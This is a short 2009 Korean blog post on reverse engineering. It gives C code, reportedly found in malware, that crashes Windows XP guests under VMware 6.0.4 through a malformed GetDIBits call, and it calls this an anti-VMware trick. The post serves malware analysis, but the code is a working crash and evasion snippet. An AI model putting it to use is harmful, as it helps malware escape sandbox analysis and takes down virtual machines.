vmware bsod

Reverse Code Engineering 2009. 9. 21. 14:44 posted by jz-

vmware + windows xp 환경에서 아래 코드를 컴파일하고 실행하면 bsod가 난다.

내 vmware의 버전은 6.0.4인데 최신버전도 bsod가 나는지는 모르겠다.

anti-vmware로 쓰일 수 있다.

악성코드에서 발견했는데 검색해보니 이미 포스트가 있다.

http://justdoitoo.spaces.live.com/blog/cns!7F95C4BBE448874!217.entry

아래는 구글번역
http://translate.google.com/translate?u=http%3A%2F%2Fjustdoitoo.spaces.live.com%2Fblog%2Fcns!7F95C4BBE448874!217.entry&sl=zh-CN&tl=ko&hl=ko&ie=UTF-8




#include 

void main()
{
	BITMAPINFO info;

	memset( &info, 0, sizeof(info) );
	info.bmiHeader.biSize = sizeof(info);
	info.bmiHeader.biWidth = 500;
	info.bmiHeader.biHeight = 500;
	info.bmiHeader.biPlanes = 1;
	info.bmiHeader.biBitCount = 32;
	info.bmiHeader.biCompression = 3;


	HDC dc = GetDC( NULL );

	HBITMAP bm = CreateCompatibleBitmap( dc, 500, 500 );

	HGLOBAL gl = GlobalAlloc( GPTR, 2000000 );

	

	GetDIBits( dc, bm, 0, 500, gl, &info, DIB_RGB_COLORS );

}